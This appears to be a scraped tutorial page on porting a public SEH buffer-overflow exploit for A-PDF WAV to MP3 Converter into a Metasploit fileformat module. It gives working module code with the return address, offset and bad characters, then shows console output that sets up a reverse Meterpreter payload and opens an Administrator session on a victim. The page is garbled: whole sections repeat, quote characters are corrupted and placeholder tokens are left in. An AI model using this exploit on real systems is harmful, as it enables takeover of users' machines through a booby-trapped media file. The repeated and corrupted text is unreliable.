Porting Exploits a11y.text Porting Exploits Porting Exploits to the Metasploit Framework a11y.text Porting Exploits to the Metasploit Framework Although Metasploit is commercially owned, it is still an open source project and grows and thrives based on user-contributed modules. As there are only a handful of full-time developers on the team, there is a great opportunity to port existing public exploits to the Metasploit Framework. Porting exploits will not only help make Metasploit more versatile and powerful, it is also an excellent way to learn about the inner workings of the Framework and helps you improve your Ruby skills at the same time. One very important point to remember when writing Metasploit modules is that you *always* need to use hard tabs and not spaces. For a few other important module details, refer to the HACKING file located in the root of the Metasploit directory [Note: this has been removed in current versions of MSF, please see their documentation for further details]. There is some important information that will help ensure your submissions are quickly added to the trunk. To begin, weâ€™ll first need to obviously select an exploit to port over. We will use the A-PDF WAV to MP3 Converter exploit . When porting exploits, there is no need to start coding completely from scratch; we can simply select a pre-existing exploit module and modify it to suit our purposes. Since this is a fileformat exploit, we will look under modules/exploits/windows/fileformat/ off the main Metasploit directory for a suitable candidate. This particular exploit is a SEH overwrite so we need to find an exploit module that uses the Msf::Exploit::Remote::Seh mixin . We can find this near the top of the exploit audiotran_pls.rb as shown below. require 'msf/core'

```
class Metasploit3 > Msf::Exploit::Remote
	Rank = GoodRanking


	include Msf::Exploit::FILEFORMAT
	include Msf::Exploit::Remote::Seh
```

Keep your Exploit Modules Organized a11y.text Keep your Exploit Modules Organized Having found a suitable template to use for our module, we then strip out everything specific to the existing module and save it under

~/.msf4/modules/exploits/windows/fileformat/ . You may need to create the additional directories under your home directory if you are following along exactly. Note that it is possible to save the custom exploit module under the main Metasploit directory but it can cause issues when updating the framework if you end up submitting a module to be included in the trunk. Our stripped down exploit looks like this: ##

```
# $Id: $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 > Msf::Exploit::Remote
   Rank = GoodRanking

   include Msf::Exploit::FILEFORMAT
   include Msf::Exploit::Remote::Seh

   def initialize(info = {})
      super(update_info(info,
```

```
'Name'          => 'Exploit Title',
'Description'    => %q{
        Exploit Description
},
'License'       => MSF_LICENSE,
'Author'        =>
    [
        'Author'
    ],
'Version'       => '$Revision:
```

Now that our skeleton is ready, we can start plugging in the information from the public exploit, assuming that it has been tested and verified that it works. We start by adding the title, description, author(s), and references. Note that it is common courtesy to name the original public exploit authors as it was their hard work that found the bug in the first place. def initialize(info = {})

super(update_info(info,

â€˜Nameâ€™ => â€˜A-PDF WAV to MP3 v1.0.0 Buffer Overflowâ€™,

â€˜Descriptionâ€™ => %q{

This module exploits a buffer overflow in A-PDF WAV to MP3 v1.0.0. When

the application is used to import a specially crafted m3u file, a buffer overflow occurs

allowing arbitrary code execution.

},

â€˜Licenseâ€™ => MSF_LICENSE,

â€˜Authorâ€™ =>

[

â€˜d4rk-h4ck3râ€™, # Original Exploit

â€˜Dr_IDEâ€™, # SEH Exploit

â€˜dookieâ€™ # MSF Module

],

â€˜Versionâ€™ => â€˜$Revision: Everything is self-explanatory to this point and other than the Metasploit module structure, there is nothing complicated going on so far. Carrying on farther in the module, weâ€™ll ensure the EXITFUNC is set to â€˜sehâ€™ and set DisablePayloadHandler to â€˜trueâ€™ to eliminate any conflicts with the payload handler waiting for the shell. While studying the public exploit in a debugger, we have determined that there are approximately 600 bytes of space available for shellcode and that \x00 and \x0a are bad characters that will corrupt it. Finding bad characters is always tedious but to ensure exploit reliability, it is a necessary evil. In the Targets section, we add the all-important pop/pop/retn return address for the exploit, the length of the buffer required to reach the SE Handler, and a comment stating where the address comes from. Since this return address is from the application binary, the target is â€˜Windows Universalâ€™ in this case. Lastly, we add the date the exploit was disclosed and ensure the DefaultTarget value is set to â€˜0â€™. 'DefaultOptions' =>

```
        {
            'EXITFUNC' => 'seh',
            'DisablePayloadHandler' => 'true'
        },
      'Payload'        =>
        {
            'Space'    => 600,
            'BadChars' => "\x00\x0a",
            'StackAdjustment' => -3500
        },
      'Platform' => 'win',
```

'Targets' =>

[

['Windows Universal', { 'Ret' => 0x0047265c, 'Offset' => 4132 }], # p/p/r in wavtomp3.exe

],

'Privileged' => false,

'DisclosureDate' => 'Aug 17 2010',

'DefaultTarget' => 0)) The last part we need to edit before moving on to the actual exploit is the register_options section. In this case, we need to tell Metasploit what the default filename will be for the exploit. In network-based exploits, this is where we would declare things like the default port to use. register_options(

[

OptString.new('FILENAME', [false, 'The file name.', 'msf.wav']),

], self.class) The final, and most interesting, section to edit is the exploit block where all of the pieces come together. First, rand_text_alpha_upper(target[â€˜Offsetâ€™]) will create our buffer leading up to the SE Handler using random, upper-case alphabetic characters using the length we specified in the Targets block of the module. Next, generate_seh_record(target.ret) adds the short jump and return address that we normally see in public exploits. The next part, make_nops(12) , is pretty self-explanatory; Metasploit will use a variety of No-Op instructions to aid in IDS/IPS/AV evasion. Lastly, payload.encoded adds on the dynamically generated shellcode to the exploit. A message is printed to the screen and our malicious file is written to disk so we can send it to our target. def exploit

sploit = rand_text_alpha_upper(target['Offset'])

sploit >> generate_seh_record(target.ret)

sploit >> make_nops(12)

sploit >> payload.encoded

print_status("Creating '#{datastore['FILENAME']}' file ...")

file_create(sploit)

end Now that we have everything edited, we can take our newly created module for a test drive.

msf > search a-pdf

[*] Searching loaded modules for pattern 'a-pdf'...

Exploits

========

Name Rank Description

---- ---- -----------

windows/browser/adobe_flashplayer_newfunction normal Adobe Flash Player "newfunction"

Invalid Pointer Use

windows/fileformat/a-pdf_wav_to_mp3 normal A-PDF WAV to MP3 v1.0.0 Buffer

Overflow

windows/fileformat/adobe_flashplayer_newfunction normal Adobe Flash Player "newfunction"

Invalid Pointer Use

msf > use exploit/windows/fileformat/a-pdf_wav_to_mp3

msf exploit(a-pdf_wav_to_mp3) > show options

Module options:

```
   Name        Current Setting                              Required  Description
   ----        ---------------                              --------  -----------
   FILENAME    msf.wav                                      no        The file name.
   OUTPUTPATH  /usr/share/metasploit-framework/data/exploits  yes       The location of the file.


Exploit target:

   Id  Name
   --  ----
   0   Windows Universal


msf exploit(a-pdf_wav_to_mp3) > set OUTPUTPATH /var/www
OUTPUTPATH => /var/www
msf exploit(a-pdf_wav_to_mp3) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(a-pdf_wav_to_mp3) > set LHOST 192.168.1.101
LHOST => 192.168.1.101
msf exploit(a-pdf_wav_to_mp3) > exploit

[*] Started reverse handler on 192.168.1.101:4444
[*] Creating 'msf.wav' file ...
[*] Generated output file /var/www/msf.wav
[*] Exploit completed, but no session was created.
```

msf exploit(a-pdf_wav_to_mp3) > Everything seems to be working fine so far. Now we just need to setup a Meterpreter listener and have our victim open up our malicious file in the vulnerable application. msf exploit(a-pdf_wav_to_mp3) > use exploit/multi/handler

msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp

PAYLOAD => windows/meterpreter/reverse_tcp

msf exploit(handler) > set LHOST 192.168.1.101

LHOST => 192.168.1.101

msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.1.101:4444

[*] Starting the payload handler...

[*] Sending stage (748544 bytes) to 192.168.1.160

[*] Meterpreter session 1 opened (192.168.1.101:4444 -> 192.168.1.160:53983) at 2010-08-31 20:59:04 -0600

meterpreter > sysinfo

Computer: XEN-XP-PATCHED

OS : Windows XP (Build 2600, Service Pack 3).

Arch : x86

Language: en_US

meterpreter> getuid

Server username: XEN-XP-PATCHED\Administrator

meterpreter> Success! Not all exploits are this easy to port over but the time spent is well worth it and helps to make an already excellent tool even better.

For further information on porting exploits and contributing to Metasploit in general, please see their current documentation: https://github.com/rapid7/metasploit-framework/ ,

```
â€˜Referencesâ€™ =>

[

[ â€˜URLâ€™, â€˜ http://www.somesite.com ],

],

â€˜Payloadâ€™ =>

{

â€˜Spaceâ€™ => 6000,

â€˜BadCharsâ€™ => â€œ\x00\x0aâ€•,

â€˜StackAdjustmentâ€™ => -3500,

},

â€˜Platformâ€™ => â€˜winâ€™,

â€˜Targetsâ€™ =>

[

[ â€˜Windows Universalâ€™, { â€˜Retâ€™ => } ],

],

â€˜Privilegedâ€™ => false,

â€˜DisclosureDateâ€™ => â€˜Dateâ€™,

â€˜DefaultTargetâ€™ => 0)) register_options(

          [

             OptString.new('FILENAME', [ true, 'The file name.',  'filename.ext']),

          ], self.class)


end


def exploit
```

```
    print_status("Creating '#{datastore['FILENAME']}' file ...")

    file_create(sploit)
```

end end Now that our skeleton is ready, we can start plugging in the information from the public exploit, assuming that it has been tested and verified that it works. We start by adding the title, description, author(s), and references. Note that it is common courtesy to name the original public exploit authors as it was their hard work that found the bug in the first place.

urltomarkdowncodeblockplaceholder20.05608394405654882

Everything is self-explanatory to this point and other than the Metasploit module structure, there is nothing complicated going on so far. Carrying on farther in the module, weâ€™ll ensure the _EXITFUNC_ is set to â€˜sehâ€™ and set _DisablePayloadHandler_ to â€˜trueâ€™ to eliminate any conflicts with the payload handler waiting for the shell. While studying the public exploit in a debugger, we have determined that there are approximately 600 bytes of space available for shellcode and that \\x00 and \\x0a are bad characters that will corrupt it. [Finding bad characters](http://en.wikibooks.org/wiki/Metasploit/WritingWindowsExploit#Dealing_with_badchars) is always tedious but to ensure exploit reliability, it is a necessary evil.

In the _Targets_ section, we add the all-important _pop/pop/retn_ return address for the exploit, the length of the buffer required to reach the SE Handler, and a comment stating where the address comes from. Since this return address is from the application binary, the target is â€˜Windows Universalâ€™ in this case. Lastly, we add the date the exploit was disclosed and ensure the _DefaultTarget_ value is set to â€˜0â€™.

urltomarkdowncodeblockplaceholder30.356955981082244

The last part we need to edit before moving on to the actual exploit is the _register_options_ section. In this case, we need to tell Metasploit what the default filename will be for the exploit. In network-based exploits, this is where we would declare things like the default port to use.

urltomarkdowncodeblockplaceholder40.9536549603078734

The final, and most interesting, section to edit is the _exploit_ block where all of the pieces come together. First, **rand_text_alpha_upper(target\[â€˜Offsetâ€™\])** will create our buffer leading up to the SE Handler using random, upper-case alphabetic characters using the length we specified in the _Targets_ block of the module. Next, **generate_seh_record(target.ret)** adds the short jump and return address that we normally see in public exploits. The next part, **make_nops(12)**, is pretty self-explanatory; Metasploit will use a variety of No-Op instructions to aid in IDS/IPS/AV evasion. Lastly, **payload.encoded** adds on the dynamically generated shellcode to the exploit. A message is printed to the screen and our malicious file is written to disk so we can send it to our target.

urltomarkdowncodeblockplaceholder50.9331388779131355

Now that we have everything edited, we can take our newly created module for a test drive.

urltomarkdowncodeblockplaceholder60.9859228016101249

Everything seems to be working fine so far. Now we just need to setup a Meterpreter listener and have our victim open up our malicious file in the vulnerable application.

urltomarkdowncodeblockplaceholder70.9102014282355224

Success! Not all exploits are this easy to port over but the time spent is well worth it and helps to make an already excellent tool even better.

For further information on porting exploits and contributing to Metasploit in general, please see their current documentation:

https://github.com/rapid7/metasploit-framework/,

```
    'References'     =>
      [
        [ 'URL', 'http://www.exploit-db.com/exploits/14676/' ],
        [ 'URL', 'http://www.exploit-db.com/exploits/14681/' ],
      ],
```

Everything is self-explanatory to this point and other than the Metasploit module structure, there is nothing complicated going on so far. Carrying on farther in the module, weâ€™ll ensure the EXITFUNC is set to â€˜sehâ€™ and set DisablePayloadHandler to â€˜trueâ€™ to eliminate any conflicts with the payload handler waiting for the shell. While studying the public exploit in a debugger, we have determined that there are approximately 600 bytes of space available for shellcode and that \x00 and \x0a are bad characters that will corrupt it. Finding bad characters is always tedious but to ensure exploit reliability, it is a necessary evil. In the Targets section, we add the all-important pop/pop/retn return address for the exploit, the length of the buffer required to reach the SE Handler, and a comment stating where the address comes from. Since this return address is from the application binary, the target is â€˜Windows Universalâ€™ in this case. Lastly, we add the date the exploit was disclosed and ensure the DefaultTarget value is set to â€˜0â€™. urltomarkdowncodeblockplaceholder30.356955981082244 The last part we need to edit before moving on to the actual exploit is the register_options section. In this case, we need to tell

Metasploit what the default filename will be for the exploit. In network-based exploits, this is where we would declare things like the default port to use.

urltomarkdowncodeblockplaceholder40.9536549603078734 The final, and most interesting, section to edit is the exploit block where all of the pieces come together. First, rand_text_alpha_upper(target[â€˜Offsetâ€™]) will create our buffer leading up to the SE Handler using random, upper-case alphabetic characters using the length we specified in the Targets block of the module. Next, generate_seh_record(target.ret) adds the short jump and return address that we normally see in public exploits. The next part, make_nops(12) , is pretty self-explanatory; Metasploit will use a variety of No-Op instructions to aid in IDS/IPS/AV evasion. Lastly, payload.encoded adds on the dynamically generated shellcode to the exploit. A message is printed to the screen and our malicious file is written to disk so we can send it to our target.

urltomarkdowncodeblockplaceholder50.9331388779131355 Now that we have everything edited, we can take our newly created module for a test drive.

urltomarkdowncodeblockplaceholder60.9859228016101249 Everything seems to be working fine so far. Now we just need to setup a Meterpreter listener and have our victim open up our malicious file in the vulnerable application. urltomarkdowncodeblockplaceholder70.9102014282355224 Success! Not all exploits are this easy to port over but the time spent is well worth it and helps to make an already excellent tool even better.

For further information on porting exploits and contributing to Metasploit in general, please see their current documentation: https://github.com/rapid7/metasploit-framework/ ,

â€˜Referencesâ€™ =>

[

[â€˜URLâ€™, â€˜ http://www.somesite.com],

],

â€˜Payloadâ€™ =>

{

```
â€˜Spaceâ€™ => 6000,
â€˜BadCharsâ€™ => â€œ\x00\x0aâ€•,
â€˜StackAdjustmentâ€™ => -3500,
},
â€˜Platformâ€™ => â€˜winâ€™,
â€˜Targetsâ€™ =>
[
[ â€˜Windows Universalâ€™, { â€˜Retâ€™ => } ],
],
â€˜Privilegedâ€™ => false,
â€˜DisclosureDateâ€™ => â€˜Dateâ€™,
â€˜DefaultTargetâ€™ => 0)) register_options(
      [
        OptString.new('FILENAME', [ true, 'The file name.',  'filename.ext']),
      ], self.class)

end

def exploit

  print_status("Creating '#{datastore['FILENAME']}' file ...")

  file_create(sploit)

end end
```

Now that our skeleton is ready, we can start plugging in the information from the public exploit, assuming that it has been tested and verified that it works. We start by adding the title, description, author(s), and references. Note that it is common courtesy to name the original public exploit authors as it was their hard work that found the bug in the first place.

urltomarkdowncodeblockplaceholder20.05608394405654882

Everything is self-explanatory to this point and other than the Metasploit module structure, there is nothing complicated going on so far. Carrying on farther in the module, weâ€™ll ensure the _EXITFUNC_ is set to â€˜sehâ€™ and set _DisablePayloadHandler_ to â€˜trueâ€™ to eliminate any conflicts with the payload handler waiting for the shell. While studying the public exploit in a debugger, we have determined that there are approximately 600 bytes of space available for shellcode and that \\x00 and \\x0a are bad characters that will corrupt it. [Finding bad characters](http://en.wikibooks.org/wiki/Metasploit/WritingWindowsExploit#Dealing_with_badchars) is always tedious but to ensure exploit reliability, it is a necessary evil.

In the _Targets_ section, we add the all-important _pop/pop/retn_ return address for the exploit, the length of the buffer required to reach the SE Handler, and a comment stating where the address comes from. Since this return address is from the application binary, the target is â€˜Windows Universalâ€™ in this case. Lastly, we add the date the exploit was disclosed and ensure the _DefaultTarget_ value is set to â€˜0â€™.

urltomarkdowncodeblockplaceholder30.356955981082244

The last part we need to edit before moving on to the actual exploit is the _register_options_ section. In this case, we need to tell Metasploit what the default filename will be for the exploit. In network-based exploits, this is where we would declare things like the default port to use.

urltomarkdowncodeblockplaceholder40.9536549603078734

The final, and most interesting, section to edit is the _exploit_ block where all of the pieces come together. First, **rand_text_alpha_upper(target\[â€˜Offsetâ€™\])** will create our buffer leading up to the SE Handler using random, upper-case alphabetic characters using the length we specified in the _Targets_ block of the module. Next, **generate_seh_record(target.ret)** adds the short jump and return address that we normally see in public exploits. The next part, **make_nops(12)**, is pretty self-explanatory; Metasploit will use a variety of No-Op instructions to aid in IDS/IPS/AV evasion. Lastly, **payload.encoded** adds on the dynamically generated shellcode to the exploit. A message is printed to the screen and our malicious file is written to disk so we can send it to our target.

urltomarkdowncodeblockplaceholder50.9331388779131355

Now that we have everything edited, we can take our newly created module for a test drive.

urltomarkdowncodeblockplaceholder60.9859228016101249

Everything seems to be working fine so far. Now we just need to setup a Meterpreter listener and have our victim open up our malicious file in the vulnerable application.

urltomarkdowncodeblockplaceholder70.9102014282355224

Success! Not all exploits are this easy to port over but the time spent is well worth it and helps to make an already excellent tool even better.

For further information on porting exploits and contributing to Metasploit in general, please see their current documentation:

https://github.com/rapid7/metasploit-framework/

Next Web App Exploit Dev Prev Completing the Exploit